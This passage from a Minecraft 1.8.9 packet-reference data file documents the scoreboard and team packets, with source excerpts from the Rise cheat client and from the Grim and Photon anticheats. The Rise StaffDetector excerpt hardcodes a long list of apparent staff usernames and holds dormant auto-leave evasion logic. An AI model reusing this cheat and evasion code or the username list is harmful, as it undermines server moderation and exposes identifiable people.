S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound array lists S3DPacketDisplayScoreboard at line 104. Identical file ships in Rise 6.2.4 under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "None directly.",
      "anti_cheat_notes": "None. Registry only.",
      "variations": "6.2.4 ships the byte-identical file with the Client-release2 path prefix."
     }
    ],
    "general_hooks": "Spicy: EventPacket pre. Rise 6.x: script API table.",
    "client_variations": "No client in the corpus mutates S3D. Spicy references it only as an import; Rise 6.x only in the script registry.",
    "related": [
     "S3BPacketScoreboardObjective",
     "S3CPacketUpdateScore"
    ],
    "anticheat": {
     "overview": "The display-scoreboard binding is invisible to the corpus. The only hit is Artemis HardcodeMap, which maps PacketPlayOutScoreboardDisplayObjective to the PacketPlayServerScoreboardObjectiveDisplay wrapper for the packet generator (line 59). Shard's monitor does emit and observe the display binding (WrapperPlayServerDisplayScoreboard in ScoreboardPacketBridge and ScoreboardSlotObserver), but those files were mined under the S3C corpus, so they cannot be attributed here. No anticheat validates the slot byte: the packet is client-rendering state with no timing or movement content and no serverbound counterpart.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Binds an objective name to a display slot: 0 list, 1 sidebar, 2 belowName. An empty name clears the slot.",
    "Binding alone renders nothing; the header comes from S3B and the rows from S3C score packets.",
    "MCP 1.8.9 S3DPacketDisplayScoreboard implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleDisplayScoreboard; wire serde is readPacketData/writePacketData via readByte, readStringFromBuffer.",
    "1.8.9 callers: ServerScoreboard.setObjectiveInDisplaySlot sends new S3DPacketDisplayScoreboard (line 65): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/scoreboard/ServerScoreboard.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S3DPacketDisplayScoreboard/",
   "mcp_path": "net/minecraft/network/play/server/S3DPacketDisplayScoreboard.java",
   "group": "play-client",
   "logic_classes": [
    "ServerScoreboard"
   ]
  },
  {
   "id": "S3EPacketTeams",
   "hex": "0x3E",
   "dec": 62,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Teams",
   "desc": "Create/update/remove a scoreboard team. Manages team name, prefix/suffix, players, friendly fire, and nametag visibility.",
   "tags": [
    "scoreboard",
    "team"
   ],
   "fields": [
    {
     "name": "name",
     "type": "String",
     "desc": "Team name"
    },
    {
     "name": "displayName",
     "type": "String",
     "desc": "Team display name"
    },
    {
     "name": "prefix/suffix",
     "type": "String",
     "desc": "Name prefix/suffix"
    },
    {
     "name": "friendlyFire",
     "type": "byte",
     "desc": "0=off, 1=on, 3=seeFriendlyInvisibles"
    },
    {
     "name": "nametagVisibility",
     "type": "String",
     "desc": "always, hideForOtherTeams, hideForOwnTeam, never"
    },
    {
     "name": "color",
     "type": "byte",
     "desc": "Team color for player list"
    },
    {
     "name": "players",
     "type": "String[]",
     "desc": "Team members"
    },
    {
     "name": "action",
     "type": "byte",
     "desc": "0=create, 1=remove, 2=infoUpdate, 3=addPlayers, 4=removePlayers"
    }
   ],
   "encoding": [
    [
     "Name",
     "String",
     ""
    ],
    [
     "Action",
     "byte",
     "0=create, 1=remove, 2=update, 3=add, 4=remove"
    ],
    [
     "Per-Action Fields",
     "varies",
     "Depends on action"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleTeams()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Scoreboard team management. The action byte drives five modes: 0 create, 1 remove, 2 update info, 3 add players, 4 remove players. Info fields for actions 0 and 2 are display name (32-char cap), prefix (16), suffix (16), a friendly-fire byte, the nametag visibility string (32), and a color byte indexing EnumChatFormatting. Player lists follow for actions 0, 3, and 4 as a VarInt count of 40-char names. Team color drives the nametag color in the client renderer, which makes this packet the surface for team-colored nametag features."
     },
     {
      "h": "Vanilla handling",
      "p": "handleTeams creates or fetches the team by registered name, applies the info fields for actions 0 and 2, then adds or removes memberships for actions 3 and 4. The client stores teams in its scoreboard; the nametag renderer reads team color and visibility per player each frame. ServerConfigurationManager replays existing teams to a joining player with action 0."
     },
     {
      "h": "Why clients touch it",
      "p": "Only Rise 6.x. StaffDetector carries a fully commented-out S3EPacketTeams branch that would scan team members for staff names and trigger an auto-leave (/hub) after six hits; the live module relies on the S38 player-list scan instead. The commented block proves the teams surface was tried and abandoned in favor of S38. Rise also registers the class in the script API. No client colors ESP by team here: nametag coloring is left to vanilla rendering."
     },
     {
      "h": "Exploit surface",
      "p": "The color byte is server-controlled; a client cannot push team colors back because S3E is clientbound. Nametag-visibility abuse (hiding tags via team properties) is a server-side decision. The interesting angle is staff detection: team rosters leak staff membership on servers that place staff in teams, and the Rise staff list plus a six-hit counter is the pattern. It is entirely client-side reading and undetectable."
     }
    ],
    "overview": "Team management and nametag color. Rise 6.x StaffDetector contains the only module reference, and it is commented out: the teams scan was replaced by the S38 player-list scan. Everything else is vanilla plus the script API table.",
    "server_handling": "ServerScoreboard broadcasts S3E on team create (0), remove (1), info update (2), player add (3), and player remove (4). ServerConfigurationManager sends a create replay to each joining player so the client knows existing teams and their colors before the world settles. All sends go through sendPacketToAllPlayers or the per-player handler.",
    "protocol_notes": "Wire order: team name (16-char cap), action byte, then for actions 0 and 2 the info block, then for actions 0, 3, and 4 a VarInt count of 40-char member names. The packet constructors throw IllegalArgumentException for player actions with empty member lists, and the read path trusts the action byte to choose which trailing fields exist.",
    "anticheat_landscape": "Not monitored. The team color byte feeds EnumChatFormatting.func_175744_a, so a malformed color renders garbage but cannot crash. StaffDetector's commented branch is the only staff-detection use of teams in the corpus, and it never runs.",
    "modules": [
     {
      "name": "StaffDetector",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Detect staff by name and auto-leave. The S3EPacketTeams branch is disabled in the shipped source; the module's active path scans S38PacketPlayerListItem instead.",
      "how_it_works": "onPacketReceive contains a commented block that iterates teams.func_149310_g(), checks member names against a hardcoded staff array, increments a counter per hit, and sends /hub via C01PacketChatMessage after six hits. The counter decays each PreMotion tick. The block is dead code in both 6.1.30 and 6.2.4.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/exploit/StaffDetector.java =====\npackage com.alan.clients.module.impl.exploit;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.network.Packet;\n\n@ModuleInfo(aliases = {\"module.combat.staffdetector.name\"}, description = \"module.exploit.staffdetector.description\", category = Category.EXPLOIT)\npublic class StaffDetector extends Module {\n\n    BooleanValue autoLeave = new BooleanValue(\"Auto Leave\", this, true);\n\n    private String[] staff;\n\n    private int count;\n\n    public StaffDetector() {\n        String input = \"idhoom,7so,1sweet,jinaaan,ev2n,eissaa,mohmad_q8,1daykel,ximtaig_,nshme,comsterr,e9_,1meko,1lab,mk_f16,loovq,_sadeq,nv0ola,1f5amh___3oo,frecss217,xmz7,a2bod,eyeso_diamond,bunkrat,1rana,1ahmd,1heyimhasson_,casteret,1elyy,1zeyad,lt1x,firas,postme,3mmr,xl2d,yzed,y2men,iv2a,_nonameishere_,0hfault,deficency,anauri,xluffy1,kinderbueno__,_revoox_,xidayzer,i7ilin,1adam__,27bk,ventz_,awfultimes,ahm2d,gsomar,mvp11,xxkhaledxxcraft,aymann_,1iraqi,rambokinq,undertest,zswift,strongest0ne,neverletyouknow,zixgamer,sanfoor_j,ixghoul_,imbexsl_,glowdown_,hunter47,fexoranep,1reyleigh,420waffle,ywgiz,sweetyalice,xfahadq,mr3nb_,akash1004,zaytonaaa,rma7o,mr_1990,iali_305,wacros,lwwh,pynifical,rivsci,itsjuan_,meedo_qb,_r3,1speedo_,_justidk,505t,xzvv,mauveracer,_1hypersx_,rayqquaza,swivee,absqtulate,opgaming2009,vhagardracarys,luffy404,faisaal420,hdzt,sunsnipebeastwtf,_odex,1ashu,n13m_,callinu,sh59,drnyx,iisrab5bgii,haoeris,lxrayanxl,toxiclayer,greatm7md,brksfrb2,madix707,hnxrr,1sweetty,ohhhhqls,solidfying,_i_b,escoco,dreadpirater0b,aboshxm,0ryze,spuvr,va_1,kingpvp90,rieus,prebowed,mitsichu,gogglas,battlebay,32lbo,7far_8bor,evenfai,hlazny,valrm\";\n\n        staff = input.split(\",\");\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotion = event -> {\n        count = Math.max(0, count - 1);\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n//        if (packet instanceof S3EPacketTeams) {\n//            final S3EPacketTeams teams = (S3EPacketTeams) packet;\n//\n//            for (final String name : teams.func_149310_g()) {\n//                if (Arrays.asList(staff).contains(name.toLowerCase())) {\n//                    count++;\n//\n//                    if (count == 6) {\n//                        ChatUtil.display(\"Staff Detected \" + name);\n//\n//                        if (autoLeave.getValue()) PacketUtil.send(new C01PacketChatMessage(\"/hub\"));\n//                    }\n//                }\n//            }\n//        }\n\n//        if (packet instanceof S38PacketPlayerListItem) {\n//            S38PacketPlayerListItem item = ((S38PacketPlayerListItem) packet);\n//\n//            for (S38PacketPlayerListItem.AddPlayerData player : item.func_179767_a()) {\n//                if (player == null || player.getProfile() == null || player.getProfile().getName() == null) {\n//                    continue;\n//                } else if (!player.getProfile().getName().equals(\"SHOP\") && !player.getProfile().getName().equals(\"UPGRADES\")) {\n//                    ChatUtil.display(\"Username: \" + player.getProfile().getName());\n//                }\n//\n//                if (Arrays.asList(staff).contains(player.getProfile().getName().toLowerCase())) {\n//                    ChatUtil.display(\"Staff Detected \" + player.getProfile().getName());\n//\n//                    if (autoLeave.getValue()) PacketUtil.send(new C01PacketChatMessage(\"/hub\"));\n//                }\n//            }\n//        }\n\n//        if (packet instanceof S) {\n//            S06PacketUpdateHealth health = ((S06PacketUpdateHealth) packet);\n//\n//        }\n    };\n}\n// NOTE (AI): The S3EPacketTeams branch on lines 37-51 is commented out in the shipped source. It would have counted team-member hits against the staff list and fired an auto-leave at six hits. The active S38PacketPlayerListItem scan is also commented out, leaving the module a staff-name list and a decaying counter.",
      "code_source": "Rise 6.1.30, com/alan/clients/module/impl/exploit/StaffDetector.java",
      "vanilla_hook": "PacketReceiveEvent (commented branch), PreMotionEvent (active counter decay).",
      "anti_cheat_notes": "None. The packet branch never executes; the counter is client-side state.",
      "variations": "Rise 6.2.4 ships the identical file under Client-release2/Client/src/main/java."
     },
     {
      "name": "NetworkAPI (script API)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Expose the packet class to Rise's JavaScript scripting API.",
      "how_it_works": "S3EPacketTeams is listed in the clientbound Class array of NetworkAPI.java (line 105).",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java =====\npackage com.alan.clients.script.api;\n\nimport com.alan.clients.util.chat.ChatUtil;\nimport lombok.SneakyThrows;\nimport net.minecraft.network.EnumPacketDirection;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.INetHandlerPlayClient;\nimport net.minecraft.network.play.INetHandlerPlayServer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\n\nimport javax.script.ScriptException;\nimport java.util.Arrays;\n\npublic class NetworkAPI extends API {\n\n    public final static Class<Packet<INetHandlerPlayServer>>[] serverbound = new Class[]{\n            C00PacketKeepAlive.class,\n            C01PacketChatMessage.class,\n            C02PacketUseEntity.class,\n            C03PacketPlayer.class,\n            C03PacketPlayer.C04PacketPlayerPosition.class,\n            C03PacketPlayer.C05PacketPlayerLook.class,\n            C03PacketPlayer.C06PacketPlayerPosLook.class,\n            C07PacketPlayerDigging.class,\n            C08PacketPlayerBlockPlacement.class,\n            C09PacketHeldItemChange.class,\n            C0APacketAnimation.class,\n            C0BPacketEntityAction.class,\n            C0CPacketInput.class,\n            C0DPacketCloseWindow.class,\n            C0EPacketClickWindow.class,\n            C0FPacketConfirmTransaction.class,\n            C10PacketCreativeInventoryAction.class,\n            C11PacketEnchantItem.class,\n            C12PacketUpdateSign.class,\n            C13PacketPlayerAbilities.class,\n            C14PacketTabComplete.class,\n            C15PacketClientSettings.class,\n            C16PacketClientStatus.class,\n            C17PacketCustomPayload.class,\n            C18PacketSpectate.class,\n            C19PacketResourcePackStatus.class,\n    };\n    public final static Class<Packet<INetHandlerPlayClient>>[] clientbound = new Class[]{\n            S00PacketKeepAlive.class,\n            S01PacketJoinGame.class,\n            S02PacketChat.class,\n            S03PacketTimeUpdate.class,\n            S04PacketEntityEquipment.class,\n            S05PacketSpawnPosition.class,\n            S06PacketUpdateHealth.class,\n            S07PacketRespawn.class,\n            S08PacketPlayerPosLook.class,\n            S09PacketHeldItemChange.class,\n            S0APacketUseBed.class,\n            S0BPacketAnimation.class,\n            S0CPacketSpawnPlayer.class,\n            S0DPacketCollectItem.class,\n            S0EPacketSpawnObject.class,\n            S0FPacketSpawnMob.class,\n            S10PacketSpawnPainting.class,\n            S11PacketSpawnExperienceOrb.class,\n            S12PacketEntityVelocity.class,\n            S13PacketDestroyEntities.class,\n            S14PacketEntity.class,\n            S18PacketEntityTeleport.class,\n            S19PacketEntityHeadLook.class,\n            S19PacketEntityStatus.class,\n            S1BPacketEntityAttach.class,\n            S1CPacketEntityMetadata.class,\n            S1DPacketEntityEffect.class,\n            S1EPacketRemoveEntityEffect.class,\n            S1FPacketSetExperience.class,\n            S20PacketEntityProperties.class,\n            S21PacketChunkData.class,\n            S22PacketMultiBlockChange.class,\n            S23PacketBlockChange.class,\n            S24PacketBlockAction.class,\n            S25PacketBlockBreakAnim.class,\n            S26PacketMapChunkBulk.class,\n            S27PacketExplosion.class,\n            S28PacketEffect.class,\n            S29PacketSoundEffect.class,\n            S2APacketParticles.class,\n            S2BPacketChangeGameState.class,\n            S2CPacketSpawnGlobalEntity.class,\n            S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound array lists S3EPacketTeams at line 105. Identical file ships in Rise 6.2.4 under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "None directly.",
      "anti_cheat_notes": "None. Registry only.",
      "variations": "6.2.4 ships the byte-identical file with the Client-release2 path prefix."
     }
    ],
    "general_hooks": "Rise 6.x: PacketReceiveEvent and PreMotionEvent on StaffDetector; script API table for the class.",
    "client_variations": "Only Rise 6.x references S3E outside vanilla. StaffDetector shows the teams scan replaced by the S38 scan; the script API carries the class for scripts.",
    "related": [
     "S3BPacketScoreboardObjective",
     "S38PacketPlayerListItem",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "S3E is the one scoreboard packet anticheats actually consume and produce. Grim reads the outbound team stream into per-entity team state that its collision predicates use; intave rewrites the collision rule on outbound team packets and emits team packets to hide fake-player nametags; Shard's monitor emits team packets to render the target name tag and watches for conflicting team traffic. Photon's Teaming is the only flagging check in the domain and it is driven by Bukkit events, not the packet. The rest of the corpus is noise: Rammelkast and AntiCheatPlus match the 'AntiCheat Team' license header on every file, NCP's CollisionUtil reads the Bukkit scoreboard API, and Negativity plus Artemis only register the packet class.",
     "checks": [
      {
       "name": "TeamHandler (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keep a transaction-ordered mirror of the client's team state so entity checks know the collision and push rules between players and entities.",
       "how_it_works": "TeamHandler is a PacketSendListener on PacketType.Play.Server.TEAMS. On each S3E it wraps the packet, reads the team name, and schedules a real-time task at the last transaction id so the update applies at the same tick the client processes it. CREATE builds a new EntityTeam, REMOVE drops it, and the other modes update the stored team with the collision rule from the packet. EntityTeam maps members to the team by UUID, and MovementTicker plus EntityPredicates consult it to decide whether an entity can push the player.",
       "detects": "Nothing directly. It feeds collision semantics: team-based collision rules are read consistently because the mirror is transaction-ordered, so push-based exploits cannot desync it.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/team/TeamHandler.java =====\npackage ac.grim.grimac.utils.team;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerTeams;\nimport it.unimi.dsi.fastutil.objects.Object2ObjectOpenHashMap;\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.util.Map;\nimport java.util.UUID;\n\n// Reminder: Entities use UUIDs, players use name, for setting teams.\npublic class TeamHandler extends Check implements PacketSendListener {\n\n    private final Map<String, EntityTeam> entityTeams = new Object2ObjectOpenHashMap<>();\n    private final Map<String, EntityTeam> entityToTeam = new Object2ObjectOpenHashMap<>();\n\n    private @Getter @Setter @Nullable EntityTeam playerTeam = null;\n\n    public TeamHandler(GrimPlayer player) {\n        super(player);\n    }\n\n    public void addEntityToTeam(String entityTeamRepresentation, EntityTeam team) {\n        entityToTeam.put(entityTeamRepresentation, team);\n    }\n\n    public void removeEntityFromTeam(String entityTeamRepresentation) {\n        entityToTeam.remove(entityTeamRepresentation);\n    }\n\n    public EntityTeam getEntityTeam(PacketEntity entity) {\n        // TODO in what cases is UUID null in 1.9+?\n        final UUID uuid = entity.getUuid();\n        return uuid == null ? null : entityToTeam.get(uuid.toString());\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.TEAMS) {\n            WrapperPlayServerTeams teams = new WrapperPlayServerTeams(event);\n            final String teamName = teams.getTeamName();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                EntityTeam entityTeam = switch (teams.getTeamMode()) {\n                    case CREATE -> {\n                        var newTeam = new EntityTeam(player, teamName);\n                        entityTeams.put(teamName, newTeam);\n                        yield newTeam;\n                    }\n                    case REMOVE -> entityTeams.remove(teamName);\n                    default -> entityTeams.get(teamName);\n                };\n\n                if (entityTeam != null) {\n                    entityTeam.update(teams);\n                }\n            });\n        }\n    }\n}\n// NOTE (AI): The S3E branch is lines 44-65. EntityTeam.update (EntityTeam.java lines 25-45) stores the collision rule and routes ADD_ENTITIES and REMOVE_ENTITIES into the player-team and entity maps; EntityPredicates.canBePushedBy evaluates the CollisionRule values.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/team/TeamHandler.java",
       "variations": "CheckManager registers the handler per player (CheckManager.java line 119). No other anticheat mirrors team state for physics; the collision-rule consumers are unique to Grim's simulation."
      },
      {
       "name": "Teaming (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Flag UHC players who cooperate by clustering, the teaming cheat domain that S3E team membership normally exposes.",
       "how_it_works": "Every 5 seconds the check builds a 3D RTree of eligible players (adventure or survival mode, out of combat, outside configured safe zones and WorldGuard no-PVP regions), then clusters players within a configurable proximity range who can see each other. Any cluster larger than the allowed size flags every member with a violation level equal to the surplus. The corpus hit is the team domain: the check never parses S3E and never reads Bukkit team state.",
       "detects": "Players teaming in UHC-style gamemodes: two or more players who move together and avoid PVP.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/teaming/Teaming.java =====\npackage de.photon.anticheataddition.modules.checks.teaming;\n\nimport com.github.davidmoten.rtreemulti.Entry;\nimport com.github.davidmoten.rtreemulti.RTree;\nimport com.github.davidmoten.rtreemulti.geometry.Point;\nimport com.google.common.base.Preconditions;\nimport de.photon.anticheataddition.AntiCheatAddition;\nimport de.photon.anticheataddition.modules.ViolationModule;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.user.data.TimeKey;\nimport de.photon.anticheataddition.util.log.Log;\nimport de.photon.anticheataddition.util.mathematics.TimeUtil;\nimport de.photon.anticheataddition.util.minecraft.world.region.Region;\nimport de.photon.anticheataddition.util.minecraft.world.region.WorldGuardRegionUtil;\nimport de.photon.anticheataddition.util.violationlevels.Flag;\nimport de.photon.anticheataddition.util.violationlevels.ViolationLevelManagement;\nimport de.photon.anticheataddition.util.violationlevels.ViolationManagement;\nimport org.bukkit.Bukkit;\nimport org.bukkit.World;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.Listener;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\npublic final class Teaming extends ViolationModule implements Listener\n{\n    public static final Teaming INSTANCE = new Teaming();\n    private static final long CHECK_INTERVAL = TimeUtil.toTicks(5000);\n\n    private Teaming()\n    {\n        super(\"Teaming\");\n    }\n\n    private Set<World> loadEnabledWorlds()\n    {\n        final Set<World> worlds = new HashSet<>();\n        for (final String key : loadStringList(\".enabled_worlds\")) {\n            final var world = Bukkit.getWorld(key);\n            if (world == null) {\n                Log.fine(() -> \"Unable to load world \\\"\" + key + \"\\\" in teaming check.\");\n                continue;\n            }\n            worlds.add(world);\n        }\n        return Set.copyOf(worlds);\n    }\n\n    private Set<Region> loadSafeZones(Set<World> enabledWorlds)\n    {\n        final Set<Region> safeZones = new HashSet<>();\n        for (final String s : loadStringList(\".safe_zones\")) {\n            try {\n                final var region = Region.parseRegion(s);\n                if (enabledWorlds.contains(region.world())) safeZones.add(region);\n            } catch (NullPointerException e) {\n                Log.severe(() -> \"Unable to load safe zone \\\"\" + s + \"\\\" in teaming check, is the world correct?\");\n            } catch (ArrayIndexOutOfBoundsException e) {\n                Log.severe(() -> \"Unable to load safe zone \\\"\" + s + \"\\\" in teaming check, are all coordinates present?\");\n            }\n        }\n        return Set.copyOf(safeZones);\n    }\n\n    @Override\n    public void enable()\n    {\n        final var enabledWorlds = loadEnabledWorlds();\n\n        final var safeZonesLoading = new HashSet<>(loadSafeZones(enabledWorlds));\n        if (loadBoolean(\".worldguard\", false)) safeZonesLoading.addAll(WorldGuardRegionUtil.loadNoPVPRegions(enabledWorlds));\n        final var safeZones = Set.copyOf(safeZonesLoading);\n\n        final double proximityRange = loadDouble(\".proximity_range\", 4.5);\n\n        final int noPvpTime = loadInt(\".no_pvp_time\", 6000);\n\n        final int allowedSize = loadInt(\".allowed_size\", 1);\n        Preconditions.checkArgument(allowedSize > 0, \"The Teaming allowed_size must be greater than 0.\");\n\n        Bukkit.getScheduler().runTaskTimer(AntiCheatAddition.getInstance(), () -> {\n\n            for (World world : enabledWorlds) {\n                // Pre-calculate the entries for the RTree for faster initialization.\n                final List<Entry<Player, Point>> entries = new ArrayList<>();\n                for (Player player : world.getPlayers()) {\n                    final User user = User.getUser(player);\n                    if (!User.isUserInvalid(user, Teaming.INSTANCE)\n                        // Correct game modes.\n                        && user.inAdventureOrSurvivalMode()\n                        // Not engaged in pvp.\n                        && user.getTimeMap().at(TimeKey.COMBAT).notRecentlyUpdated(noPvpTime)) {\n                        final var loc = player.getLocation();\n                        // Not in a bypassed region.\n                        if (safeZones.stream().noneMatch(safeZone -> safeZone.isInsideRegion(loc))) {\n                            entries.add(User.rTreeEntryFromPlayer(player));\n                        }\n                    }\n                }\n\n                // Create an RTree for the players in the world.\n                RTree<Player, Point> rTree = RTree.dimensions(3).create(entries);\n                final var origin = Point.create(0, 0, 0);\n\n                while (!rTree.isEmpty()) {\n                    final var firstNode = rTree.nearest(origin, Double.POSITIVE_INFINITY, 1).iterator().next();\n                    final var teamNodes = rTree.nearest(firstNode.geometry(), proximityRange, 1000);\n\n                    // Get the players.\n                    final List<Player> team = new ArrayList<>();\n                    for (Entry<Player, Point> node : teamNodes) {\n                        // Players need to see each other to be considered to be in a team.\n                        if (firstNode.value().canSee(node.value()) && node.value().canSee(firstNode.value())) team.add(node.value());\n                    }\n\n                    Log.finer(() -> \"Teaming | Team: \" + team.stream().map(Player::getName).collect(Collectors.joining(\", \")));\n\n                    rTree = rTree.delete(teamNodes);\n\n                    // Team is too big\n                    final int vl = team.size() - allowedSize;\n                    if (vl <= 0) continue;\n\n                    for (final var player : team) this.getManagement().flag(Flag.of(player).setAddedVl(vl));\n                }\n            }\n        }, 1L, 